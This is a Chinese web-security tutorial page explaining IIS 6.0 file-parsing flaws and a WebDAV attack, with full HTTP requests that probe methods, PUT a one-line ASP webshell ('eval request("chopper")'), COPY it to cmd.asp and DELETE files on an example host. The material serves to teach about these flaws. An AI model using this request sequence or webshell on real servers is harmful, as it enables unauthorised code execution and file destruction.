当前位置: 首页 > news >正文

IIS解析漏洞

IIS 6.0在解析文件时存在以下两个解析漏洞。

①当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析。

例如:建立文件夹 parsing.asp,在 parsing.asp 文件夹内新建一个文本文档 test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。

“NOW()”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在 parsing.asp文件夹中,却被当作ASP脚本来解析。

② 当文件为*.asp;1.jpg时,IIS 6.0同样会以ASP脚本来执行如:新建文件 test.asp;1.jpg,内容为<%=NOW()%>

微软并不认为这是一个漏洞,也一直没有推出IIS 6.0的补丁,所以这两个"漏洞"至今还存在,让无数的网站“死”在了IIS 6.0解析漏洞之上。

说到IIS容器,就不得不提起一个经典的漏洞,漏洞名为WebDav。

WebDav(Web-based Distributed Authoring and Versioning)是一种基于HTTP1.1协议的通信协议,它扩展了HTTP协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使HTTP协议更强大。

在开启WebDav扩展的服务器后,如果支持PUT、Move、Copy、Delete等方法,就可能会存在一些安全隐患,比如www.secbug.org服务器(IIS 6.0 Web容器)支持WebDav,并且存在PUT、Move、Copy、Delete等方法,那么攻击者就可能通过PUT方法向服务器上传危险脚本文件,测试步骤如下。

第一步:通过OPTIONS探测服务器所支持的HTTP方法。请求:

OPTIONS / HTTP/1.1 Host:www.secbug.org

响应:

HTTP/1.1 200 OK 
Cache-Control:private
Date: Mon,19 Aug 2013 09:41:45 GMT
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPPATCH, SEARC H,MKCOL,LOCK,UNLOCK Content-Length: 0 
Accept-Ranges: none 
Server: Microsoft-IIS/6.0 MS-Author-Via: DAV DASL:<DAV:sql>DAV: 1, 2
Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH Set-Cookie:_D_SID=89113465;path=/;

第二步:通过PUT方法向服务器上传脚本文件。

请求:

PUT/a.txt HTTP/1.1 
Host:www.secbug.org 
Content-Length:30 
<%eval request("chopper")%>

响应:

HTTP/1.1 201 Created
Date: Mon,19 Aug 2013 09:48:10 GMT
Allow:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,COPY,MOVE,PROPFIND,PROPPATCH, SEARCH,LOCK,UNLOCK Content-Length: 0
Location:http://www.secbug.org/a.txt Server: Microsoft-IIS/6.0

第三步:通过Move或Copy方法改名

COPY /a.txt HTTP/1.1 
Host:www.secbug.org
Destination:http://www.secbug.org/cmd.asp
HTTP/1.1 201 Created
Date: Mon,19 Aug 2013 09:53:43 GMT 
Content-Length: 0 
Content-Type: text/xml
Location:http://www.secbug.org/cmd.asp 
Server: Microsoft-IIS/6.0

通过这三个步骤,攻击者就可以轻易获取一个WebShell。

如果服务器开启了DELETE方法,攻击者还可以删除服务器上的任意文件。

DELETE /a.txt HTTP/1.1 Host:www.secbug.org
HTTP/1.1 200 OK
Date: Mon,19 Aug 2013 10:02:08 GMT 
Content-Length: 0 
Server: Microsoft-IIS/6.0
Set-Cookie: _D_SID=89113465;
path=/;

http://www.lryc.cn/news/24104.html

相关文章:

  • 2023 年腾讯云轻量和CVM服务器租用价格表出炉(CPU/内存/带宽/系统盘)
  • Java学习之路002——面向对象编程
  • VR直播丨颠覆性技术革命,新型直播已经到来
  • 【微信小程序】-- WXSS 模板样式- rpx import (十三)
  • Biotin-PEG-SVA,生物素聚乙二醇琥珀酰亚胺戊酸酯,可用于检测或分子标记
  • 云原生是什么?核心概念和应用方法解析
  • Editor工具开发实用篇:EditorGUI/EditorGUILayout的区别和EditorGUILayout的方法介绍
  • (五十二)大白话不断在表中插入数据时,物理存储是如何进行页分裂的?.md
  • Unity 渲染顺序
  • 短视频美颜sdk人脸编辑技术详解、美颜sdk代码分析
  • error: expected declaration specifiers or ‘...’ before ‘(’ token
  • 系列七、索引
  • Java开发 - Elasticsearch初体验
  • mysql进阶
  • SD卡损坏了?储存卡恢复数据就靠这3个方法
  • springboot+实践(总结到位)
  • CorelDRAW2023新功能有哪些?最新版cdr下载安装教程
  • PLC 程序设计标准化方法
  • 设计模式-笔记
  • 【全志T113-S3_100ask】12-3 Linux蓝牙通信实战(基于BlueZ的C语言BLE蓝牙编程)
  • Java学习之路003——集合
  • 生成和查看dump文件
  • K8S集群1.24使用docker作为容器运行时出现就绪探针间歇性异常
  • 士大夫身份第三方水电费第三方
  • RDO一体化部署OpenStack
  • CC2530+ESP8266使用MQTT协议上传阿里云的问题
  • Java基础:爬虫
  • 纯手动搭建大数据集群架构_记录008_搭建Hbase集群_配置集群高可用---大数据之Hadoop3.x工作笔记0169
  • Linux系统认知——驱动认知
  • Spring boot装载模板代码并自动运行